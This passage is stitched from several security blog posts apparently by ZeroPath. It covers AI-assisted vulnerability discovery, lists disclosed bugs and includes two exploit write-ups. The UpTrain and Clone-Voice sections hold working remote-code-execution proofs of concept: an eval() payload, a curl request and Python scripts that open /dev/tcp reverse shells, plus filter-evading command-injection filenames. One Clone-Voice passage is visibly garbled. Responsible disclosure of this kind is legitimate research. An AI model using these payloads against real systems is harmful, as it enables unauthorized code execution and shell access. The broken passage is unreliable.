a microservice architecture might have 50. **3. Discovery Is Now Automated** What changes everything is that both defenders and attackers can now use AI to find these bugs systematically. Manual testing that took weeks now takes hours. The economics have shifted dramatically. The McDonald's breach required someone to notice an endpoint and try changing IDs. But an AI can analyze every endpoint in your codebase, understand the access control requirements, and identify violations - all in the time it takes to run your test suite. ## How to Fix This You can't fix auth bugs like SQL injection because they're logic bugs. But you can make them harder to introduce: **Architecture patterns that work:** • Row-level security in your database • Centralized auth services like [Zanzibar](https://research.google/pubs/pub48190/) • Default-deny middleware • Use UUIDs instead of sequential IDs **The one-liner everyone needs:** ```python # Make this mandatory in your framework @require_ownership # Not optional def get_resource(id, current_user): return Resource.get_for_user(id, current_user) ``` The best defense? Run an LLM on your own code before someone else does. ## What Happens Next Authorization bugs have been around forever. They're OWASP #1 for a reason. What's different now is that anyone with API access can point an LLM at a codebase and find the same bugs that used to take security researchers days to discover manually. The McDonald's breach happened because someone manually decremented an ID and found 64 million records. Imagine what happens when thousands of people start running LLMs against every API they can find. The scale is about to change dramatically. --- ## The Numbers **What we found:** • 53% of the critical vulns we reported were auth bugs • Traditional SAST tools found approximately zero of them • Manual testing: 2 to 4 hours per endpoint • LLM analysis: ~40 minutes for an entire codebase **Industry stats:** • OWASP says 94% of apps have broken access control • It's been #1 for years, not getting better Check out our [full analysis of finding 20+ zero-days with AI](https://zeropath.com/blog/0day-discoveries) for technical details. The combination of auth bugs, AI discovery tools, and exponential API growth creates an unprecedented security challenge. --- #### Autonomous Discovery of Critical Zero-Days - **Date**: October 29, 2024 - **Authors**: Raphael Karger - **Reading Time**: 15 minutes - **Keywords**: SAST, 0days, Vulnerability Research, ZeroPath - **URL**: https://zeropath.com/blog/0day-discoveries Since July 2024, ZeroPath's tool has uncovered critical zero-day vulnerabilities—including RCE, authentication bypasses, and IDORs—in popular AI platforms and open-source projects. Our approach has identified security flaws in projects owned by Netflix, Salesforce, and Hulu. --- AI-driven 0-day detection is here. AI-assisted security research has been quietly advancing since early 2023, when AIxCC researchers demonstrated the first practical applications of LLM-powered vulnerability detection in AI systems. Modern LLMs have been used to improve the accuracy of detections of existing classes of web issues (XSS, SQLi, CSRF) and find business logic and authentication problems that were previously undetectable by SAST. So what does this mean in terms of AIs' ability to do unsupervised security research? Since July 2024, ZeroPath is taking a novel approach combining deep program analysis with adversarial AI agents for validation. Our methodology has uncovered numerous critical vulnerabilities in production systems, including several that traditional Static Application Security Testing (SAST) tools were ill-equipped to find. This post provides a technical deep-dive into our research methodology and a living summary of the bugs found in popular open-source tools. --- ## Summary of Vulnerabilities Discovered **Note:** This list represents only a portion of our findings. Many vulnerabilities remain undisclosed due to ongoing remediation efforts or pending responsible disclosure processes. We will update this list as new issues are disclosed over the next few months. | Date         | Project                   | Vulnerability                        | Technical Impact                                        | Root Cause                                    | CVE/Reference | |--------------|---------------------------|--------------------------------------|---------------------------------------------------------|-----------------------------------------------|---------------| | Jul 21, 2024 | **Fonoster Voice Server** | Local File Inclusion                 | Access to system files via voice file paths             | Incomplete path validation                    | CVE-2024-43035 | | Jul 22, 2024 | **Uptrain** | Remote Code Execution                | Arbitrary code execution via eval     | RCE during project creation            | Pending Assignment | | Aug 22, 2024 | **LibrePhotos** | File Upload + Path Traversal         | Arbitrary file write via photo upload                   | Insufficient path sanitization                | Pending Assignment | | Aug 22, 2024 | **Clone-Voice** | Command Injection                    | System command execution via voice file metadata        | Unescaped input in ffmpeg command             | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Conversation Deletion   | Complete deletion of other users' chat history          | Missing object-level authorization checks     | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Canvas Deletion         | Deletion of other users' visualization canvases         | Insufficient IDOR protection on API endpoint  | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Knowledge Base Access   | Read access to other users' private knowledge bases     | Missing tenant isolation in KB queries        | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized File Movement           | Moving/deleting other users' uploaded files             | Missing ACL checks in file operations         | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Conversation Access     | Reading other users' private conversations              | Broken access control in chat retrieval       | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized API Key Removal         | Removal of other users' API keys                        | IDOR in key management endpoint               | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Knowledge Base Enumeration | Enumeration of all private knowledge bases          | Missing authentication in list endpoint       | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Dialog Deletion         | Mass deletion of other users' dialogs                   | Race condition in deletion endpoint           | Pending Assignment | | Sep 3, 2024  | **E2nest (Netflix)** | Local File Inclusion                 | Arbitrary file read via path traversal in model loading | Insufficient path normalization in config loading | CVE-2024-9301 | | Sep 5, 2024  | **LibrePhotos** | Unauthorized Access to User Jobs     | Access to other users' processing jobs                  | Missing authorization in job queue            | Pending Assignment | | Sep 5, 2024  | **LibrePhotos** | Token Refresh Authentication Bypass  | Complete authentication bypass                          | Improper token validation                     | Pending Assignment | | Sep 20, 2024 | **Monaco (Hulu)** | Remote Code Execution                | Code execution via deserialization                      | Unsanitized data being passed into pickle.loads | CVE-2024-48946 | | Sep 20, 2024 | **Monaco (Hulu)** | Unauthorized Redis Access            | Access to all Redis clusters administered by Monaco     | Missing authentication in app_redis_api endpoint | Pending Assignment | | Oct 1, 2024  | **LogAI (Salesforce)** | Directory Traversal                  | Access to sensitive files via log paths                 | Broken path traversal protection              | Pending Assignment | | Oct 24, 2024  | **DB-GPT** | Directory Traversal                  | Access to database files via backup paths               | Missing path normalization                    | Pending Assignment | For comprehensive technical analyses of some these vulnerabilities, please refer to our write-ups: - **Uptrain RCE:** [Project Creation to RCE](https://zeropath.com/blog/uptrain-rce-vulnerability-analysis) - **Clone-Voice Command Injection:** [From Voice Processing to Shell Access](https://zeropath.com/blog/command-injection-vulnerability-clone-voice) - **Fonoster Voice Server LFI:** [Breaking Audio File Boundaries](https://zeropath.com/blog/fonoster-voiceserver-lfi-vulnerability) - **LibrePhotos Arbitrary File Upload:** [From Upload to RCE](https://zeropath.com/blog/librephotos-arbitrary-file-upload-vulnerability) --- ## Vulnerability Distribution ```mermaid pie title Vulnerability Types "Authorization Flaws (53%)" : 10 "Directory Traversal/LFI (21%)" : 4 "Remote Code Execution (11%)" : 2 "File Upload Issues (5%)" : 1 "Authentication Bypass (5%)" : 1 "Command Injection (5%)" : 1 ``` #### 1. Authorization Flaws - **Prevalence:** 53% of the vulnerabilities (10 instances) - **Common Issues:** - Missing object-level access controls - Insufficient tenant isolation - Broken access control in API endpoints - IDOR vulnerabilities in resource management - Unauthorized Redis access and configuration exposure - **Impact:** Unauthorized access, data leakage, and resource manipulation across tenant boundaries. - **Examples:** - RAGFlow's multiple IDOR vulnerabilities allow manipulation of conversations, canvases, knowledge bases, and API keys belonging to other users - Unauthorized access to Redis instances due to missing access controls #### 2. File Operation Issues - **Prevalence:** 26% of the vulnerabilities (5 instances) - **Common Issues:** - Directory traversal in configuration loading - Local file inclusion via path manipulation - Unsafe file handling in upload features - Insufficient path validation and normalization - **Impact:** Unauthorized file access, sensitive data exposure, and potential system compromise. - **Examples:** - E2nest's LFI via model path traversal (CVE-2024-9301) - DB-GPT's directory traversal in backup paths - LogAI's broken path traversal protection #### 3. Code Execution Vulnerabilities - **Prevalence:** 16% of the vulnerabilities (3 instances) - **Common Issues:** - Unsafe pickle deserialization - Command injection in file processing - Unsanitized input in system commands - **Impact:** Remote code execution, system command execution, and potential full system compromise. - **Examples:** - Monaco's RCE via pickle deserialization (CVE-2024-48946) - Clone-Voice's command injection via ffmpeg metadata - Uptrain's RCE via project creation --- ## Our Technical Methodology TL;DR - most of these bugs are simple and could have been found with a code review from a security researcher or, in some cases, scanners. The historical issue, however, with automating the discovery of these bugs is that traditional SAST tools often rely on pattern matching and predefined rules, which can miss complex vulnerabilities that do not fit known patterns (i.e. business logic / broken authentication flaws or non-traditional sinks such as from dependencies). They also tend to generate a high rate of false positives, overwhelming security teams and reducing efficiency. The beauty of LLMs is that they can reduce ambiguity in most of the situations that previously caused scanners to be either unusable or produce few findings when mass-scanning open source repositories like this. For instance, you can prevent: - Alerting on test code - Alerting on CLI only administrators would have access to - Alerting on injection bugs whose "sinks" (i.e. injection sources) aren't able to be controlled by attackers in practice - Alerting on injection bugs that include controls that make an attack possible (for instance, limiting the input to valid UUIDs) To do this well, we combine deep program analysis with an adversarial agents that test the plausibility of vulnerabilties at each step. The solution ends up mirroring the traditional phases of a pentest - recon, analysis, exploitation (and remediation which is not mentioned in this post). *Note: Most sections have been adopted from our [how it works](https://zeropath.com/blog/how-zeropath-works) post, for more information about patching and remediation please refer to it.* ### Stage 1: Application Identification ZeroPath starts by using AI agents to investigate what applications are inside a repository and gather some basic data about how they work. This step is crucial when dealing with mono-repositories or repositories containing multiple services, as often happens with microservice architectures. Specifically, we: 1. Identify directory boundaries for each application 2. Generate application descriptions and metadata, noting details like the auth procedure and tech stack 3. Collect additional contextual information helpful for subsequent analysis stages This process helps ensure that ZeroPath has enough information about the apps to discriminate between relevant and irrelevant security issues. ### Stage 2: AST Generation and Indexing To illustrate the following steps, we will be using a [basic Django application](https://gist.github.com/r0path/dfb9c5657fc8b8d7c25b33d9cfcc6a26) that provides fundamental functionality for: 1. User management (creating and listing users) 2. Content management (creating and listing posts) 3. User authentication (login and logout capabilities) Below is an example of the method to retrieve users from the application: ```python class UserViewSet(View): def get(self, request): users = User.objects.all() return render(request, 'user_list.html', {'users': users}) ``` That's how it's represented as plain text, but as with most languages this is broken down into an intermediate representation before compilation. Using tree-sitter we can convert the method definition into an AST that has standard names for things like "function\_definition", "body", and etc.: ```lisp (function_definition name: (identifier) ; get parameters: (parameters (identifier) ; self (identifier)) ; request body: (block (expression_statement (assignment left: (identifier) ; users right: (call function: (attribute object: (attribute object: (identifier) ; User attribute: (identifier)) ; objects attribute: (identifier)) ; all arguments: (argument_list)))) (return_statement (call function: (identifier) ; render arguments: (argument_list (identifier) ; request (string) ; 'user_list.html' (dictionary (pair key: (string) ; 'users' value: (identifier)))))))) ; users ``` This AST representation breaks down the `get_users` function, showing its structure, parameters, and the operations it performs. Each node in the tree is represented by parentheses, with the node type followed by its children. Leaf nodes (like identifiers and strings) are represented directly. Comments after semicolons provide additional information or clarification about the nodes. This format allows for a detailed, hierarchical view of the code structure, making it easier to analyze. In particular, from the AST we create a **call graph**, which is a map of the program's function invocations. The call graph facilitates navigation through the codebase during vulnerability analysis, and also provides a comprehensive summary of the application's structure and behavior. This holistic understanding is key to our tool's ability to detect complex, context-dependent vulnerabilities, and it looks something like this: ```mermaid graph TD A[WSGI Handler: process_request] --> B[URL Dispatcher: resolve] B --> C1[UserViewSet: dispatch] B --> C2[PostViewSet: dispatch] B --> C3[LoginView: dispatch] B --> C4[LogoutView: dispatch] C1 --> D1[UserViewSet: list] C1 --> D2[UserViewSet: create] C2 --> D3[PostViewSet: list] C2 --> D4[PostViewSet: create] C3 --> D5[LoginView: post] C4 --> D6[LogoutView: post] D1 & D2 --> E1[User.objects.all/create] D3 & D4 --> E2[Post.objects.all/create] D5 --> E3[authenticate] D5 --> E4[login] D6 --> E5[logout] D1 & D3 --> F1[render] D2 & D4 --> F2[render] F1 & F2 --> G[context_processor] D1 & D2 & D3 & D4 & D5 & D6 --> H[HttpResponse] ``` ### Stage 3: Graph Enrichment After generating the AST, we enrich the graph with contextual information by identifying features like endpoints (exposed functions or URLs that can be accessed externally) and assigning attributes to each node. These attributes can be details such as request paths, HTTP methods, and authentication and authorization mechanisms. For example, a node representing a login function might be enriched with attributes indicating it accepts POST requests, and implements rate limiting. A key aspect of this enrichment is recognizing how middleware and other security controls are implemented across the application. This process transforms the basic AST into a more comprehensive representation of the application's structure and behavior. While the initial AST shows the structure of individual functions, this enriched call graph demonstrates how these functions interact and what security measures are in place throughout the application flow. ```mermaid graph TD A[Django WSGI Handler] -->|Process Request| B[URL Dispatcher] %% Middleware Chain A -->|Pre-process| M1[Security Middleware] M1 -->|HTTPS Redirect| M2[Session Middleware] M2 -->|Manage Sessions| M3[Authentication Middleware] M3 -->|Authenticate User| M4[CSRF Protection Middleware] M4 -->|CSRF Validation| B %% URL Patterns and Views B -->|/api/users/| C1[UserViewSet] B -->|/api/posts/| C2[PostViewSet] B -->|/auth/login/| C3[LoginView] B -->|/auth/logout/| C4[LogoutView] %% View Methods C1 -->|GET| D1[List Users] C1 -->|POST| D2[Create User] C2 -->|GET| D3[List Posts] C2 -->|POST| D4[Create Post] C3 -->|POST| D5[Authenticate User] C4 -->|POST| D6[End Session] %% Database Interactions D1 & D2 -->|Query/Update| E1[User Model] D3 & D4 -->|Query/Update| E2[Post Model] E1 & E2 -->|ORM| F[Database] %% Template Rendering D1 & D3 -->|Render| G1[List Template] D2 & D4 -->|Render| G2[Detail Template] G1 & G2 -->|Apply| H[Context Processors] %% Static Files and Caching I[Static File Handler] -->|Serve| J[Static Files] K[Cache Middleware] -->|Cache Responses| A %% Response Flow D1 & D2 & D3 & D4 & D5 & D6 -->|Generate Response| L[Response Object] L -->|Process Response| M4 M4 -->|Process Response| M3 M3 -->|Process Response| M2 M2 -->|Process Response| M1 M1 -->|Process Response| A %% Authentication Flow D5 -->|Success| N[Create Session] D5 -->|Failure| O[Error Response] D6 -->|Logout| P[Delete Session] classDef middleware fill:#f9f,stroke:#333,stroke-width:2px; class M1,M2,M3,M4,I,K middleware; ``` ### Stage 4: Vulnerability Discovery and Validation Finally we get to the most important part, using the call graph to discover vulnerabilities. In our application security analysis, vulnerabilities are bucketed into three main types: 1. **Conventional Vulnerabilities**: These encompass implementation-specific security flaws such as SQL Injection (SQLI), XML external entity (XXE) injection, Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF), Leaking of secrets, and Server-side Request Forgery (SSRF). 2. **Business Logic Flaws**: These vulnerabilities arise from flaws in the application's logic. Examples include: - Price manipulation in e-commerce systems - Exploitation of coupon systems leading to incorrect pricing - Bypassing intended workflow sequences - Lack of rate limiting especially when interacting with external APIs (leading to excessive charges from providers) 3. **Authentication/Authorization Issues**: These stem from improper implementation of user authentication or access control mechanisms. Common subtypes include: - Insecure Direct Object Reference (IDOR) - Missing Function Level Access Control - Broken Session Management Each category requires distinct analysis techniques. Conventional vulnerabilities often involve pattern matching and taint analysis, business logic flaws require understanding of intended application behavior, and authentication/authorization issues necessitate comprehensive flow analysis of user sessions and permissions. Some ways we find these bugs: * Static Rules: ZeroPath has a large set of static rules that detail vulnerable code patterns, which are then used to semantically search if a given codebase uses them. Using this we are able to detect many existing classes of issues. * Threat Modeling: Having ZeroPath comes up with attack scenario and verifies them by performing rigorous investigations of the code. * Software Composition Analysis (SCA): ZeroPath actively monitors dependencies used within the application for known vulnerabilities, and see if these dependencies' problems are exploitable from the outside. * Secret Scanning and Validation: ZeroPath also scans for secrets and performs validation on the secrets to ensure that they're valid and provides information about each discovered secret to help quickly rotate and enforce best practices. Our methodology for investigating business logic flaws and broken authentication vulnerabilities combines two AI techniques: [Tree-of-Thoughts (ToT)](https://arxiv.org/abs/2305.10601) and an adaptation of the [ReAct framework](https://arxiv.org/abs/2210.03629). ToT enables multi-path reasoning, intermediate step evaluation, and outcome ranking. This improves our ability to explore complex vulnerability scenarios. The ReAct-inspired component enforces structured tool usage with explicit action justification, enhancing the rigor of our investigative process. By integrating these techniques, we've developed a framework that allows for comprehensive vulnerability assessment. ToT facilitates thorough scenario exploration, while the ReAct adaptation ensures methodical tool application. This approach has proven particularly effective in addressing the nuanced challenges presented by business logic and authentication vulnerabilities. To further enhance our validation process and ensure the exploitability of identified vulnerabilities, ZeroPath employs a Monte Carlo Tree Self-refine (MCTSr) algorithm. This approach, inspired by recent advancements in AI problem-solving, allows us to efficiently explore and verify complex attack vectors. #### Monte Carlo Tree Self-Refine (MCTSr) Our MCTSr implementation builds upon research from Shanghai Artificial Intelligence Laboratory, Fudan University, and collaborating institutions. Their [work](https://arxiv.org/abs/2406.07394) on solving International Mathematical Olympiad problems using Monte Carlo Tree Search and self-refinement techniques provided a foundation that we've adapted for cybersecurity applications. We've modified this approach to navigate the decision trees involved in verifying security vulnerabilities, allowing both for more efficient exploration of potential attack vectors and fewer false positives. The most important part of using MCTSr is defining a "win function". As a static analysis tool, our win function is implemented by an LLM that determines the chances that a hypothesized attack could work, and the severity of the problem. The particular verification agent we use is different for problems like SSTI, SQLi, XSS, and business logic issues. Generally, an agent is designed to pull in relevant information from previous stages, and consider all of the controls that could make an attack impractical. If the LLM investigator determines that a given attack is above a given practicality threshold, it's sent for the next stage, which is patch generation and tweaking. ## Conclusion AI-driven vulnerability detection is moving fast. While some are just now jumping into this field, it's been developing for a while. Since July 2024, we've been exploring how deep program analysis combined with adversarial AI agents can uncover critical bugs that might be overlooked by traditional tools. What's intriguing is that many of these vulnerabilities are pretty straightforward—they could've been spotted with a solid code review or standard scanning tools. But conventional methods often miss them because they don't fit neatly into known patterns. That's where AI comes in, helping us catch issues that might slip through the cracks. --- #### Critical RCE Vulnerability in UpTrain - **Date**: August 24, 2024 - **Authors**: Nathan Hrncirik - **Reading Time**: 10 minutes - **Keywords**: UpTrain, RCE, vulnerability, cybersecurity, CSRF, open-source, AI, ZeroPath - **URL**: https://zeropath.com/blog/uptrain-rce-vulnerability-analysis ZeroPath researchers uncover a critical Remote Code Execution (RCE) vulnerability in UpTrain, a popular open-source AI platform. --- # Critical RCE Vulnerability in UpTrain *By Nathan Hrncirik, Co-Founder and Security Researcher at ZeroPath* ZeroPath security researchers discovered a critical Remote Code Execution (RCE) vulnerability in [UpTrain](https://github.com/uptrain-ai/uptrain), a popular open-source platform for evaluating, experimenting, monitoring, and testing of LLM applications. This vulnerability, when chained with a Cross-Site Request Forgery (CSRF) attack, allows malicious actors to execute arbitrary code on UpTrain instances, even when running locally. | ![PoC Demo](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/uptrain-rce-poc.gif) | |:--:| | *Proof of concept demo* | ## Vulnerability Discovery + Details ZeroPath's vulnerability scanner initially flagged a concerning pattern in the UpTrain codebase as a valid vulnerability. Specifically, it highlighted the use of Python's `eval()` function in conjunction with user-supplied input. Further investigation revealed that the vulnerability was present in several routes within the `uptrain/dashboard/backend/app.py` file. The `/create_project`, `/new_run`, and `/add_prompts` routes were identified as vulnerable. Here's the vulnerable code snippet for the `/create_project` route: ```python @router_public.post("/create_project") async def create_project( model: str = Form(...), project_name: str = Form(...), dataset_name: str = Form(...), checks: list = Form(...), data_file: UploadFile = File(...), metadata: str = Form(...), user_id: str = Depends(validate_api_key_public), db: Session = Depends(get_db), fsspec_fs: t.Any = Depends(get_fsspec_fs), ): # ... checks = eval(checks[0]) checks_1 = [] metadata = eval(metadata) for check in checks: if check in metadata: final_check = checks_mapping(check, metadata[check]) else: final_check = checks_mapping(check) if final_check is not None: checks_1.append(final_check) # ... ``` The core issue lies in the direct use of `eval()` on user-supplied form data, specifically `checks` and `metadata`. This allows an attacker to craft a payload that, when evaluated, executes malicious code on the server. To demonstrate the vulnerability, we created a payload and proof of concept script for the `/create_project` endpoint. For this example, we'll use a payload that creates a file named `zeropath` in the `/tmp` directory: ```python payload = "__import__('os').system('touch /tmp/zeropath')" ``` Here's a quick cURL command that demonstrates the exploit: ```bash curl 'http://localhost:4300/api/public/create_project' \ -H 'Accept: */*' \ -H 'Accept-Language: en-US,en' \ -H 'Connection: keep-alive' \ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysFz2W1h9iMH4IFs9' \ -H 'Origin: http://localhost:3000' \ -H 'Referer: http://localhost:3000/' \ -H 'uptrain-access-token: default_key' \ --data-raw $'------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="model"\r\n\r\ngpt-3.5-turbo\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="project_name"\r\n\r\nasdf\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="checks"\r\n\r\n__import__(\'os\').system(\'touch /tmp/zeropath\')\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="dataset_name"\r\n\r\nasdf\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="data_file"; filename="test.jsonl"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="metadata"\r\n\r\n{"gpt-3.5-turbo":{"openai_api_key":"asdf"}}\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9--\r\n' ``` ## Proof of Concept Here's a full Python PoC script that demonstrates the vulnerability: ```python #!/usr/bin/env python3 import argparse import requests def execute_command(url, command, access_token): headers = { 'Accept': '*/*', 'Accept-Language': 'en-US,en', 'Connection': 'keep-alive', 'Origin': 'http://localhost:3000', 'Referer': 'http://localhost:3000/', 'uptrain-access-token': access_token } data = { 'model': 'gpt-3.5-turbo', 'project_name': 'zeropath', 'checks': f'__import__(\'os\').system(\'{command}\')', 'dataset_name': 'zeropath', 'metadata': '{"gpt-3.5-turbo":{"openai_api_key":"dummy_key"}}' } print(f"[*] Generated payload: {data['checks']}") files = { 'data_file': ('test.jsonl', '', 'application/octet-stream') } response = requests.post(url + "/api/public/create_project", headers=headers, data=data, files=files) return response.status_code, response.text def main(): parser = argparse.ArgumentParser(description='UpTrain Exploit PoC') parser.add_argument('--url', required=True, help='UpTrain URL') parser.add_argument('--cmd', help='Command to execute') parser.add_argument('--shell', nargs=2, metavar=('IP', 'PORT'), help='Reverse shell IP and port') parser.add_argument('--token', default='default_key', help='UpTrain access token (default: default_key)') args = parser.parse_args() if not args.cmd and not args.shell: parser.error("Either --cmd or --shell must be provided") if args.shell: command = f"bash -c \"bash -i >& /dev/tcp/{args.shell[0]}/{args.shell[1]} 0>&1\" &" else: command = args.cmd print("[!] UpTrain Exploit PoC") print(f"[*] Target URL: {args.url}") print(f"[*] Executing command: {command}") print(f"[*] Using access token: {args.token}") status_code, response_text = execute_command(args.url, command, args.token) if status_code == 500: print("[+] Command executed successfully!") else: print("[-] Command execution failed.") if __name__ == "__main__": main() ``` ![PoC Screenshot](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/uptrain-ss-2.png) ## Bonus: CSRF + RCE Chain Chaining this RCE with a Cross-Site Request Forgery (CSRF) attack could allow an attacker to compromise a local instance of this app. This is not a traditional CSRF scenario, as it leverages the default API key ("default_key") which is accepted by the vulnerable endpoints. If an attacker can trick a user who is running UpTrain locally to visit their webpage, the attacker can use the victim's browser to send a malicious POST request to the local UpTrain instance, triggering the RCE. Here's a proof-of-concept HTML page that demonstrates this attack: ```html ZeroPath UpTrain CSRF + RCE POC ``` ![CSRF POC](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/uptrain-csrf-rce-poc.gif) ## Want to chat? This RCE vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification. If you're interested in how you can use ZeroPath to improve your code security, please set up a [call](https://cal.com/team/zeropath/chat) with our team! ## Legal Disclaimer The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks. The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk. --- #### Command Injection Vulnerability in Clone-Voice Project - **Date**: August 24, 2024 - **Authors**: Nathan Hrncirik, Raphael Karger - **Reading Time**: 10 minutes - **Keywords**: command injection, vulnerability, clone-voice, cybersecurity, open-source, exploit - **URL**: https://zeropath.com/blog/command-injection-vulnerability-clone-voice Security researchers at ZeroPath uncover a command injection vulnerability in the popular open-source "clone-voice" project. --- # Command Injection Vulnerability in Clone-Voice Project *By [Nathan Hrncirik](https://www.linkedin.com/in/nathan-hrncirik/) and [Raphael Karger](https://www.linkedin.com/in/raphael-karger/), Security Researchers at ZeroPath* ZeroPath security researchers discovered a critical command injection vulnerability in [Clone-Voice](https://github.com/jianchang512/clone-voice), a popular open-source project for voice cloning with an unauthenticated web interface. This vulnerability, when exploited, allows malicious actors to execute arbitrary commands on the server hosting the Clone-Voice application. | ![PoC Demo](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/clone-voice-rce-poc.gif) | |:--:| | *Proof of concept demo* | ## Vulnerability Discovery + Details ZeroPath's vulnerability scanner initially flagged a potential command injection vulnerability in the `/upload` route of the Clone-Voice application. Further investigation revealed that the vulnerability was indeed present, but exploiting it proved to be more challenging than initially anticipated due to several input processing steps. The core issue lies in the use of `os.system()` without sanitizing user input in the file upload functionality. Here's the vulnerable code snippet from the `/upload` route: ```python @app.route('/upload', methods=['POST']) def upload(): try: audio_file = request.files['audio'] save_dir = request.form.get("save_dir",'') save_dir = VOICE_DIR if not save_dir else os.path.join(ROOT_DIR, f'static/{save_dir}') app.logger.info(f"[upload]{audio_file.filename=},{save_dir=}") noextname, ext = os.path.splitext(os.path.basename(audio_file.filename.lower())) noextname = noextname.replace(' ', '') if audio_file and ext in [".wav", ".mp3", ".flac"]: name = f'{noextname}{ext}' if os.path.exists(os.path.join(save_dir, f'{noextname}{ext}')): name = f'{datetime.datetime.now().strftime("%m%d-%H%M%S")}-{noextname}{ext}' tmp_wav = os.path.join(TMP_DIR, "tmp_" + name) audio_file.save(tmp_wav) if ext != '.wav': name = f"{name[:-len(ext)]}.wav" savename = os.path.join(save_dir, name) os.system(f'ffmpeg -hide_banner -y -i "{tmp_wav}" "{savename}"') try: os.unlink(tmp_wav) except: pass return jsonify({'code': 0, 'msg': 'ok', "data": name}) else: return jsonify({'code': 1, 'msg': 'not wav'}) except Exception as e: app.logger.error(f'[upload]error: {e}') return jsonify({'code': 2, 'msg': 'error'}) ``` The problem is simple - the filename retrieved from `request.files['audio']` is directly interpolated into the `os.system()` function. However, getting a PoC quickly became reminiscent of a Capture The Flag (CTF) competition, as our payload has to go through multiple layers of processing: 1. Spaces are stripped 2. All characters are converted to lowercase 3. Any forward slash cuts off all subsequent characters Our first attempt was relatively simple: ``` hello$(id).mp3 ``` And successfully executed. However, attempts to run more complex commands with spaces, like `cat app.py`, fail due to the space character being stripped. ### Attempting to Overcome Spaces To bypass the space restriction, we attempted to use the `${IFS}` variable, a common technique in CTFs and command injection bypasses: ``` hello$(echo${IFS}test123).mp3 ``` This fails because the input was converted to lowercase, rendering the `${IFS}` variable unusable. This is the moment coming up with the PoC started feeling like a CTF challenge to me. After deciding this was like a CTF, I set out to try and just get `cat flag.txt` to work before a full reverse shell. It turns out you can do this using input redirection: ``` hello$(cat& /dev/tcp/127.0.0.1/1337 0>&1` We have many default linux commands available to us, but the `date` command was the best fit. The output of date will always contain a space in character four, no matter when you run it. Using the sh magic below, we were able to get another variable with a space character stored: ``` d=$(date)&&f=${d%${d#????}}&&s=${f#???} ``` So now we have everything we need to generate a reverse shell payload, we just need to put it together. ``` hello`pwd=$(pwd)&&d=$(date)&&f=${d%${d#????}}&&s=${f#???}&&bash${s}-c${s}\"bash${s}-i${s}>&${s}${pwd%${pwd#?}}dev${pwd%${pwd#?}}tcp${pwd%${pwd#?}}127.0.0.1${pwd%${pwd#?}}4242${s}0>&1"`.flac ``` ## Proof of Concept ```python #!/usr/bin/env python3 import argparse import requests def execute_rce(url, ip, port): print("[!] Clone-Voice RCE PoC") print(f"[*] Target URL: {url}") print(f"[*] Reverse shell: {ip}:{port}") # beautiful payload payload = f"hello`pwd=$(pwd)&&d=$(date)&&f=${{d%${{d#????}}}}&&s=${{f#???}}&&bash${{s}}-c${{s}}\"bash${{s}}-i${{s}}>&${{s}}${{pwd%${{pwd#?}}}}dev${{pwd%${{pwd#?}}}}tcp${{pwd%${{pwd#?}}}}{ip}${{pwd%${{pwd#?}}}}{port}${{s}}0>&1\"`.flac" print(f"[*] Generated payload filename: {payload}") print("[*] Sending malicious upload") files = {'audio': (payload, "test")} try: response = requests.post(f"{url}/upload", files=files) response.raise_for_status() result = response.json() print("[+] Upload successful!") print("[*] Server response:") print(f" Code: {result['code']}") print(f" Message: {result['msg']}") if 'data' in result: print(f" Data: {result['data']}") print("[*] If the exploit was successful, you should receive a reverse shell connection.") except requests.exceptions.RequestException as e: print(f"[-] Error occurred while uploading: {e}") def main(): parser = argparse.ArgumentParser(description='Clone-Voice RCE PoC') parser.add_argument('--url', required=True, help='Target URL (e.g., http://localhost:9000)') parser.add_argument('--shell', nargs=2, metavar=('IP', 'PORT'), required=True, help='Reverse shell IP and port') args = parser.parse_args() execute_rce(args.url, args.shell[0], args.shell[1]) if __name__ == "__main__": main() ``` ## Want to chat? This command injection vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification. If you're interested in how you can use ZeroPath to improve your code security, please set up a [call](https://cal.com/team/zeropath/chat) with our team! ## Legal Disclaimer The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks. The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk. --- #### Fonoster VoiceServer LFI Vulnerability (CVE-2024-43035) - **Date**: August 24, 2024 - **Authors**: Nathan Hrncirik - **Reading Time**: 8 minutes - **Keywords**: cybersecurity, vulnerability, LFI, Fonoster, VoiceServer, proof of concept, mitigation - **URL**: 